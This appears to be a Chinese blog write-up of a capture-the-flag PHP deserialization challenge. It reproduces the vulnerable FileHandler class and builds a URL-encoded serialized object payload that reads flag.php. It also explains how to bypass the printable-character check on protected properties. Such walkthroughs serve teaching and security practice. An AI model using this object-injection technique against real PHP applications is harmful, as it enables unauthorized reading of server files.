zoukankan      html  css  js  c++  java
  • 一道php反序列化题

    <?php
    
    include("flag.php");
    
    highlight_file(__FILE__);
    
    class FileHandler {
    
        protected $op;
        protected $filename;
        protected $content;
    
        function __construct() {
            $op = "1";
            $filename = "/tmp/tmpfile";
            $content = "Hello World!";
            $this->process();   
        }
    
        public function process() {
            if($this->op == "1") {
                $this->write();       
            } else if($this->op == "2") {
                $res = $this->read();
                $this->output($res);
            } else {
                $this->output("Bad Hacker!");
            }
        }
    
        private function write() {
            if(isset($this->filename) && isset($this->content)) {
                if(strlen((string)$this->content) > 100) {
                    $this->output("Too long!");
                    die();
                }
                $res = file_put_contents($this->filename, $this->content);
                if($res) $this->output("Successful!");
                else $this->output("Failed!");
            } else {
                $this->output("Failed!");
            }
        }
    
        private function read() {
            $res = "";
            if(isset($this->filename)) {
                $res = file_get_contents($this->filename);
            }
            return $res;
        }
    
        private function output($s) {
            echo "[Result]: <br>";
            echo $s;
        }
    
        function __destruct() {
            if($this->op === "2")
                $this->op = "1";
            $this->content = "";
            $this->process();
        }
    
    }
    
    function is_valid($s) {
        for($i = 0; $i < strlen($s); $i++)
            if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
                return false;
        return true;
    }
    
    if(isset($_GET{'str'})) {
    
        $str = (string)$_GET['str'];
        if(is_valid($str)) {
            $obj = unserialize($str);
        }
    
    }

    拿到题目是这样一段代码,开始分析。

    反序列化题目大概的重点是两个,一个是属性值可以修改,一个是魔术方法 __destruct 和 __wakeup。从这两个开始入手。

        function __destruct() {
            if($this->op === "2")
                $this->op = "1";
            $this->content = "";
            $this->process();
        }

    首先找到__destruct()开始分析,当op值为2时,将op值变为1。

    这里需要注意的是===全等符,==="2"这个2被包裹在双引号中,表示一个字符。

    content这个属性的值是置为""的。

    接着看向process()方法。

        public function process() {
            if($this->op == "1") {
                $this->write();       
            } else if($this->op == "2") {
                $res = $this->read();
                $this->output($res);
            } else {
                $this->output("Bad Hacker!");
            }
        }

    当op属性值为1时,执行write()方法。

      private function write() {
            if(isset($this->filename) && isset($this->content)) {
                if(strlen((string)$this->content) > 100) {
                    $this->output("Too long!");
                    die();
                }
                $res = file_put_contents($this->filename, $this->content);
                if($res) $this->output("Successful!");
                else $this->output("Failed!");
            } else {
                $this->output("Failed!");
            }
        }

    如果设置了filename和content,判断content内容>100则输出Too long;能写入文件中的话,则输出Successful;否则输出Failed。

    但是由于content这个属性的值是置为""的,所以无论我们输入什么内容,都会被置为"",这是我们不可控的,那么写一句话之类的是没有用的,也就是说wirte()这个方法对我们拿到flag没有用,不用看他。

    回到process()方法接着往下看。

    else if($this->op == "2") {
                $res = $this->read();
                $this->output($res);
            } else {
                $this->output("Bad Hacker!");
            }

    当op属性值为2时,执行read()方法。并输出$res的值。

     private function read() {
            $res = "";
            if(isset($this->filename)) {
                $res = file_get_contents($this->filename);
            }
            return $res;
        }

    首先判断了是否设置filename,如果设置有的话,则将文件中的内容读取出来赋给$res。最后$res这个值是会被输出的。

    代码一开始就提示了flag所在文件为flag.php,所以filename的值应该是flag.php。

    编写

    <?php

    class FileHandler {

      public $op;
      public $filename;
      public $content;

      function __construct() {
      $this->op = 2;
      $this->filename = "flag.php";
      }
    }
      $obj = new FileHandler ;
      echo urlencode(serialize($obj));
    ?>

    输出payload:O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3BN%3B%7D

    这里进行了一个url编码,以防有些字符显示问题。

    if(isset($_GET{'str'})) {
    
        $str = (string)$_GET['str'];
        if(is_valid($str)) {
            $obj = unserialize($str);
        }
    
    }

    最后将得到的payload传入参数即可得flag。

    这道题还有一个考点:

        protected $op;
        protected $filename;
        protected $content;

    题目开始定义属性是用的protected,如果我们用这个编写payload的话得到的是

     会发现多出了%00,但是因为源码中有这样一串代码

    function is_valid($s) {
        for($i = 0; $i < strlen($s); $i++)
            if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
                return false;
        return true;
    }

    会递归判断传入的str是否在ascii码32-125之间,%00为0,是不存在的,所以这里需要绕过protected。

    第一种办法就是将protected改为public,但是这只适用php版本大于等于7.2的。

    第二种办法是将属性的s改为S

    protected  就是修改成 0*0,其实就是 protected 的属性 ,他是 %00*%00op 。但是%00这种字符我们是看不见的。所以浏览器输出就是 *op

    private 就是修改成 0类名0

    修改后为

    总结:在看源码时先找到入口,看代码一步一步分析,属性是可构造的,要明白我们想要得到的结果是什么。

  • 相关阅读:
    __getattribute__()、__getattr__()、__setattr__()、__delattr__()
    Python: Catch multiple exceptions in one line (except block)
    Python中的__new__和__init__
    使用sphinx生成Python文档
    Windows下干活儿辅助软件
    Python的Descriptor和Property混用
    Solved: Qt Library LNK 2001 staticMetaObject error
    OS sysbench压力测试
    Oracle 数据库 sysbench 压力测试
    MySQL 数据库 Sysbench压力测试
  • 原文地址:https://www.cnblogs.com/xiaoxiaosen/p/12866613.html
Copyright © 2011-2022 走看看